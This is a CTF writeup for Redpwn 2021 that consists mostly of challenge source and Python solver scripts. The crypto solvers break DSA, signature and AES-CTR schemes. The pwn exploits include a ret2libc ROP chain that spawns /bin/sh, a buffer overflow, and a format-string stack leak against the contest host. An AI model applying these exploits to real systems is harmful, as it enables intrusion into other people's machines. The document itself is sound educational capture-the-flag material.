Redpwn 2021 CTF Writeup

#!/usr/local/bin/python

from Crypto.Util.number import getPrime, bytes_to_long
from Crypto.Hash import SHA256
from binascii import unhexlify
from secrets import randbelow

with open('flag.txt','r') as f:
    flag = f.read().strip()

def sha256(val):
    h = SHA256.new()
    h.update(val)
    return h.digest()

def execute(cmd):
    if cmd == "sice_deets":
        print(flag)
    elif cmd == "bad_signature":
        print("INTRUSION DETECTED!")
    else:
        print("Command unknown.")

def authorize_command(cmd, sig):
    assert len(sig) == 128*2
    a = bytes_to_long(sig[:128])
    b = bytes_to_long(sig[128:])
    if (a**2 + k*b**2) % n == bytes_to_long(sha256(cmd)):
        execute(cmd.decode())
    else:
        execute("bad_signature")

p = getPrime(512)
q = getPrime(512)
n = p * q
k = randbelow(n)
def interact():
    print("===============================================================================")
    print("This mainframe is protected with state-of-the-art intrusion detection software.")
    print("All commands are passed through a signature-based filter.")
    print("===============================================================================")
    print("The following configuration is in place:")
    print(f"n = {n};\nk = {k};")
    print("Server configured.")
    cmd = input(">>> ").strip().lower().encode()
    sig = unhexlify(input("$$$ "))
    authorize_command(cmd, sig)
    print("Connection closed.")

if __name__ == "__main__":
    try:
        interact()
    except:
        print("An error has occurred.")

from Crypto.Util.number import getPrime, bytes_to_long
from Crypto.Hash import SHA256
from binascii import unhexlify
from secrets import randbelow
from pwn import *

def sha256(val):
    h = SHA256.new()
    h.update(val)
    return h.digest()

def mult(x1, y1, x2, y2, k):
    """(x1^2 + ky^1)(x^2 + ky^2)"""
    return (x1 * x2 + k*y1*y2) % n, (x1 * y2 - y1 * x2) % n

def pollard(k, m):
    # Generate a valid prime m0 < m and x0
    while True:
        while True:
            u = randrange(n)
            v = randrange(n)
            m0 = m*(u*u+k*v*v)%n
            if m0 % 4 == 3: break
        x0 = pow(-k, (m0 + 1)/4, m0)
        if pow(x0, 2, m0) == -k % m0:
            break
    xx = [0,Integer(x0)]
    mm = [0,m0]

    # Generate the series x_i, m_i, till m_I
    while not (xx[-2] <= mm[-1] <= mm[-2]):
        mm.append((xx[-1] * xx[-1] + k) / mm[-1] % n)
        xx.append(min(xx[-1] % mm[-1], (mm[-1] - xx[-1]) % mm[-1]) % n)

    # Multiply all the equations to get s0, t0
    s, t = xx[1], 1
    for x in xx[2:-1]:
        s, t = s * x-k * t, s + x*t

    # Get s1, t1 from s0, t0
    M = mul(mm[2:]) % n
    s1 = s * inverse_mod(M, n) % n
    t1 = t * inverse_mod(M, n) % n

    # Get s2, t2 either trivially or recursivelly
    if is_square(mm[-1]):
        s2, t2 = sqrt(mm[-1]), 0
    elif mm[-1] == k:
        s2, t2 = 0, 1
    else:
        # Change variables and solve recursively
        s22, t22 = pollard(Integer(-mm[-1]), -k)
        # Change variables back
        t2 = inverse_mod(t22, n)
        s2 = s22 * t2

    # Get s4, t4 multiplying previous solutions
    s3, t3 = mult(u, v, s1, t1, k)
    s4, t4 = mult(s3, t3, s2, t2, k)

    # Obtain the solution to the original problem
    m0inv = inverse_mod(Integer(m0), n)
    return s4 * m * m0inv % n, t4 * m * m0inv % n

local = False
debug = True

if local:
    r = process(["python3", "server.py"], level='debug') if debug else process(["python3", "server.py"])
else:
    r = remote("mc.ax", 31079, level = 'debug') if debug else remote("mc.ax", 31538)
    r.recvuntil("proof of work: ")
    proof_of_work = r.recvline(keepends=False).decode()
    print(f"{proof_of_work=}")
    ans = os.popen(proof_of_work).read()
    r.sendafter("solution: ", ans)

r.recvuntil("The following configuration is in place:\n")

n = r.recvline()
n = Integer(n[4:-2].decode())

k = r.recvline()
k = Integer(k[4:-2].decode())

signature = bytes_to_long(sha256(b"sice_deets"))

x, y = pollard(k, signature)
payload = hex(x)[2:]+hex(y)[2:]

r.sendlineafter(">>> ", "sice_deets")
r.sendlineafter("$$$ ", payload)
print(r.recvall())

#!/usr/local/bin/python3

from Crypto.Util.number import *
from Crypto.PublicKey import DSA
from random import *
from hashlib import sha1

rot = randint(2, 2 ** 160 - 1)
chop = getPrime(159)

def H(s):
    x = bytes_to_long(sha1(s).digest())
    return pow(x, rot, chop)


L, N = 1024, 160
dsakey = DSA.generate(1024)
p = dsakey.p
q = dsakey.q
h = randint(2, p - 2)
g = pow(h, (p - 1) // q, p)
if g == 1:
    print("oops")
    exit(1)

print(p)
print(q)
print(g)

x = randint(1, q - 1)
y = pow(g, x, p)

print(y)


def verify(r, s, m):
    if not (0 < r and r < q and 0 < s and s < q):
        return False
    w = pow(s, q - 2, q)
    u1 = (H(m) * w) % q
    u2 = (r * w) % q
    v = ((pow(g, u1, p) * pow(y, u2, p)) % p) % q
    return v == r


pad = randint(1, 2 ** 160)
signed = []
for i in range(2):
    print("what would you like me to sign? in hex, please")
    m = bytes.fromhex(input())
    if m == b'give flag' or m == b'give me all your money':
        print("haha nice try...")
        exit()
    if m in signed:
        print("i already signed that!")
        exit()
    signed.append(m)
    k = (H(m) + pad + i) % q
    if k < 1:
        exit()
    r = pow(g, k, p) % q
    if r == 0:
        exit()
    s = (pow(k, q - 2, q) * (H(m) + x * r)) % q
    if s == 0:
        exit()
    print(H(m))
    print(r)
    print(s)

print("ok im done for now")
print("you visit the flag keeper...")
print("for flag, you must bring me signed message:")
print("'give flag':" + str(H(b"give flag")))

r1 = int(input())
s1 = int(input())
if verify(r1, s1, b"give flag"):
    print(open("flag.txt").readline())
else:
    print("sorry")

from pwn import *
from Crypto.Util.number import *
import os

local = False
debug = False

if local:
    r = process(["python3", "kotf.py"], level='debug') if debug else process(["python3", "kotf.py"])
else:
    r = remote("mc.ax", 31538, level = 'debug') if debug else remote("mc.ax", 31538)
    r.recvuntil("proof of work: ")
    proof_of_work = r.recvline(keepends=False).decode()
    print(f"{proof_of_work=}")
    ans = os.popen(proof_of_work).read()
    r.sendafter("solution: ", ans)

p = Integer(r.recvline(keepends=False).decode())
q = Integer(r.recvline(keepends=False).decode())
g = Integer(r.recvline(keepends=False).decode())
y = Integer(r.recvline(keepends=False).decode())
print(f"{p=}\n{q=}\n{g=}\n{y=}")

import urllib.request
res = urllib.request.urlopen('http://shattered.io/static/shattered-1.pdf')
m1 = res.read().hex()
res = urllib.request.urlopen('http://shattered.io/static/shattered-2.pdf')
m2 = res.read().hex()

r.recvuntil("what would you like me to sign? in hex, please\n")
r.sendline(m1)

h1 = Integer(r.recvline(keepends=False).decode())
r1 = Integer(r.recvline(keepends=False).decode())
s1 = Integer(r.recvline(keepends=False).decode())
print(f"{h1=}\n{r1=}\n{s1=}")

r.recvuntil("what would you like me to sign? in hex, please\n")
r.sendline(m2)

h2 = Integer(r.recvline(keepends=False).decode())
r2 = Integer(r.recvline(keepends=False).decode())
s2 = Integer(r.recvline(keepends=False).decode())
print(f"{h2=}\n{r1=}\n{s1=}")

# Formula gotten from
# https://crypto.stackexchange.com/questions/7904/attack-on-dsa-with-signatures-made-with-k-k1-k2
k = ((h2 - s2 - (h1 * r2 / r1))//(s2 - (s1 * r2 / r1))) % q
# Formula for x gotten from
# https://github.com/AdityaVallabh/ctf-write-ups/blob/master/CSAW%20Finals%202018/Disastrous%20Security%20Apparatus/README.md
x = ((s1 * k - h1) * inverse(r1, q)) % q

print(f"{k=}\n{x=}")
r.recvuntil("'give flag':")
hashedGiveFlag = Integer(r.recvline(keepends=False).decode())
print(f"{hashedGiveFlag=}")

# Sign "Give Flag"
while True:
    R = int(pow(g, k, p)) % int(q)
    if R == 0:
        continue
    S = (pow(k, q - 2, q) * (hashedGiveFlag + x * R)) % q
    if S == 0:
        continue
    break

outputR = str(R).encode()
outputS = str(S).encode()
r.sendline(outputR)
r.sendline(outputS)

print(r.recvall())

#!/usr/bin/env sage
import secrets
import json
from Crypto.Util.number import bytes_to_long, long_to_bytes
from sage.combinat import permutation

n = 25_000
Sn = SymmetricGroup(n)

def pad(M):
    padding = long_to_bytes(secrets.randbelow(factorial(n)))
    padded = padding[:-len(M)] + M
    return bytes_to_long(padded)

#Prepare the flag
with open('flag.txt','r') as flag:
    M = flag.read().strip().encode()
m = Sn(permutation.from_rank(n,pad(M)))

#Scramble the elgs
g = Sn.random_element()
a = secrets.randbelow(int(g.order()))
h = g^a
pub = (g, h)

#Encrypt using scrambled elgs
g, h = pub
k = secrets.randbelow(n)
t1 = g^k
t2 = m*h^k
ct = (t1,t2)

#Provide public key and ciphertext
with open('output.json','w') as f:
	json.dump({'g':str(g),'h':str(h),'t1':str(t1),'t2':str(t2)}, f)

import json
from Crypto.Util.number import bytes_to_long, long_to_bytes
from sage.combinat import permutation

output = json.load(open('output.json', 'r'))
n = 25_000
Sn = SymmetricGroup(n)

g = Sn(output["g"])
h = Sn(output["h"])

t1 = Sn(output["t1"])
t2 = Sn(output["t2"])

for k in range(n):
    if (g^k == t1):
        break

m = t2/(h^k)
flag = long_to_bytes( Permutation(m).rank() )
print(flag[-50:])

#!/usr/local/bin/python

from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from random import randint
from binascii import hexlify

with open('flag.txt','r') as f:
    flag = f.read().strip()

with open('keyfile','rb') as f:
    key = f.read()
    assert len(key)==32

'''
Pseudorandom number generators are weak!
True randomness comes from phyisical objects, like dice!
'''
class TrueRNG:

    @staticmethod
    def die():
        return randint(1, 6)

    @staticmethod
    def yahtzee(N):
        dice = [TrueRNG.die() for n in range(N)]
        return sum(dice)

    def __init__(self, num_dice):
        self.rolls = num_dice

    def next(self):
        return TrueRNG.yahtzee(self.rolls)

def encrypt(message, key, true_rng):
    nonce = true_rng.next()
    cipher = AES.new(key, AES.MODE_CTR, nonce = long_to_bytes(nonce))
    return cipher.encrypt(message)

'''
Stick the flag in a random quote!
'''
def random_message():
    NUM_QUOTES = 25
    quote_idx = randint(0,NUM_QUOTES-1)
    with open('quotes.txt','r') as f:
        for idx, line in enumerate(f):
            if idx == quote_idx:
                quote = line.strip().split()
                break
    quote.insert(randint(0, len(quote)), flag)
    return ' '.join(quote)

banner = '''
============================================================================
=            Welcome to the yahtzee message encryption service.            =
=  We use top-of-the-line TRUE random number generators... dice in a cup!  =
============================================================================
Would you like some samples?
'''
prompt = "Would you like some more samples, or are you ready to 'quit'?\n"

if __name__ == '__main__':
    NUM_DICE = 2
    true_rng = TrueRNG(NUM_DICE)
    inp      = input(banner)
    while 'quit' not in inp.lower():
        message = random_message().encode()
        encrypted = encrypt(message, key, true_rng)
        print('Ciphertext:', hexlify(encrypted).decode())
        inp = input(prompt)

from pwn import xor

mainList = [b'.....', b'....', b'.....', .....]
#The full cipherList (removed from writeup since it is too long) can be found in the link below :
#https://github.com/Angmar2722/Angmar2722.github.io/blob/master/assets/ctfFiles/2021/redpwn2021/Yahtzee/cipherList.txt

flag = b'flag{'
c1 = bytes.fromhex(mainList[0].decode())

for i in range(0, len(mainList)):
    c2 = bytes.fromhex(mainList[i].decode())
    temp = xor(xor(c1,c2)[:len(flag)], flag)
    if (temp.isascii()):
        print(temp, i)
    

p = 17459102747413984477
a = 2
b = 3
G = (15579091807671783999, 4313814846862507155)
Q = (8859996588597792495, 2628834476186361781)
d = ???
Can you help me find `d`?
Decode it as a string and wrap in flag format.

from Crypto.Util.number import *

E = EllipticCurve(GF(17459102747413984477), [2,3])
P = E.gens()[0]
Q = E(8859996588597792495, 2628834476186361781)

d = discrete_log(Q, P, P.order(), operation='+')
print(b'flag{' + long_to_bytes(d) + b'}')

#https://doc.sagemath.org/html/en/reference/arithmetic_curves/sage/schemes/elliptic_curves/constructor.html
#https://doc.sagemath.org/html/en/reference/groups/sage/groups/generic.html

from pwn import *

main = 0x401186
BINSH = 0x7ffff7f69152
POP_RDI = 0x4012a3

p = (32 * b'A') + (8 * b'A') + p64(main)
#r = process("./ret2the-unknown")
r = remote('mc.ax', 31568)

libc = ELF("libc-2.28.so")

r.recvuntil("where is this place? can you help me get there safely?\n")
r.sendline(p)
r.recvuntil("rob said i'd need this to get there: ")
printf_leak = r.recvline().decode()
printf_leak = int(printf_leak, 16)

libc_base = printf_leak - libc.symbols['printf']
libc_system = libc_base + libc.symbols['system']
binsh_str = libc_base + next(libc.search(b"/bin/sh"))

p = (32 * b'A') + (8 * b'A') + p64(POP_RDI) + p64(binsh_str) + p64(libc_system) 
r.recvuntil("where is this place? can you help me get there safely?\n")
r.sendline(p)
r.interactive()

#https://tripoloski1337.github.io/ctf/2020/01/26/return-to-libc-attack.html
#https://hurricanelabs.com/blog/csi-ctf-2020-pwn-intended-0x3-with-unnecessary-arbitrary-rce/

#https://book.hacktricks.xyz/exploiting/linux-exploiting-basic-esp/rop-pwn-template
#https://gr4n173.github.io/2020/07/11/ret2libc.html

from pwn import *

r = remote('mc.ax', 31796)

r.recvuntil("add ingredients to the bowl\n")
r.sendline("add flour")
r.recvuntil("flour has been added\n")
r.sendline("add yeast")
r.recvuntil("yeast has been added\n")
r.sendline("add salt")
r.recvuntil("salt has been added\n")
r.sendline("add water")

r.recvuntil("the ingredients are added and stirred into a lumpy dough\n")
r.sendline("hide the bowl inside a box")
r.recvuntil("the bread needs to rise\n")
r.sendline("wait 3 hours")
r.recvuntil('it is time to finish the dough\n')
r.sendline('work in the basement')

r.recvuntil('the dough is done, and needs to be baked\n')
r.sendline('preheat the toaster oven')
r.recvuntil('the bread is in the oven, and bakes for 45 minutes\n')
r.sendline("set a timer on your phone")
r.recvuntil('45 minutes is an awfully long time\n')
r.sendline('watch the bread bake')

r.recvuntil("there's no time to waste\n")
r.sendline('pull the tray out with a towel')
r.recvuntil("there's smoke in the air\n")
r.sendline("open the window")
r.recvuntil('cold air rushes in\n')
r.sendline('unplug the fire alarm')
r.recvuntil('you put the fire alarm in another room\n')
r.sendline('unplug the oven')

r.recvuntil("the kitchen is a mess\n")
r.sendline('wash the sink')
r.recvuntil('the sink is cleaned\n')
r.sendline('clean the counters')
r.recvuntil('the counters are cleaned\n')
r.sendline('flush the bread down the toilet')
r.recvuntil('the half-baked bread is disposed of\n')

r.sendline("get ready to sleep")
r.recvuntil('time to go to sleep\n')
r.sendline('close the window')
r.recvuntil("the window is closed\n")
r.sendline('replace the fire alarm')
r.sendline("brush teeth and go to bed")

print(r.recvall())

from pwn import *
import re

flag = b""
payloadList = []

for i in range(0, 17):
    payload = ""
    for i in range(30*i, 30*i + 30):
        payload = payload + f"please %{i}$p " 
    payloadList.append(payload)

for i in range(len(payloadList)):
    r = remote('mc.ax', 31569)
    r.recvuntil("what do you say?\n")
    r.sendline(payloadList[i])
    output = r.recvline()
    hexList = re.findall(r'[0x]\w+', output.decode())

    for j in range(len(hexList)):
        if( hexList[j].isascii() ):
            temp = '{:x}'.format(int(hexList[j], 16) )
            if (str(temp).isascii()):
                #print(temp)
                if ( len(str(temp)) == 1):
                    temp = "0" + temp
                if (temp == "a7d6c78336139"):
                    flag = flag + bytes.fromhex("7d6c78336139")[::-1]
                    print(flag)
                    exit(0)
                flag = flag + bytes.fromhex(str(temp))[::-1]

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void super_generic_flag_reading_function_please_ret_to_me()
{
  char flag[0x100] = {0};
  FILE *fp = fopen("./flag.txt", "r");
  if (!fp)
  {
    puts("no flag!! contact a member of rob inc");
    exit(-1);
  }
  fgets(flag, 0xff, fp);
  puts(flag);
  fclose(fp);
}

int main(void)
{
  char comments_and_concerns[32];

  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable...");
  puts("how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!");
  puts("slap on some flavortext and there's no way rob will fire me now!");
  puts("this is genius!! what do you think?");

  gets(comments_and_concerns);
}

from pwn import *

addr = 0x4011f6
payload = 40 * b'A' + p64(addr)
r = remote('mc.ax', 31077)
r.recvuntil("this is genius!! what do you think?\n")
r.sendline(payload)
print(r.recvall())

from pwn import *

payload = (b"\xff"*100)
r = remote('mc.ax', 31199)

r.recvuntil("can you write me a heartfelt message to cheer me up? :(\n")
r.sendline(payload)
r.interactive()

n: 228430203128652625114739053365339856393
e: 65537
c: 126721104148692049427127809839057445790

from Crypto.Util.number import long_to_bytes
 
n = 228430203128652625114739053365339856393
e= 65537
ct=126721104148692049427127809839057445790
 
p = 12546190522253739887
q = 18207136478875858439
 
eulerTotient = (p-1) * (q-1)
 
d = pow(e, -1, eulerTotient)
 
pt = pow(ct, d, n)
decrypted = long_to_bytes(pt)
 
print(decrypted)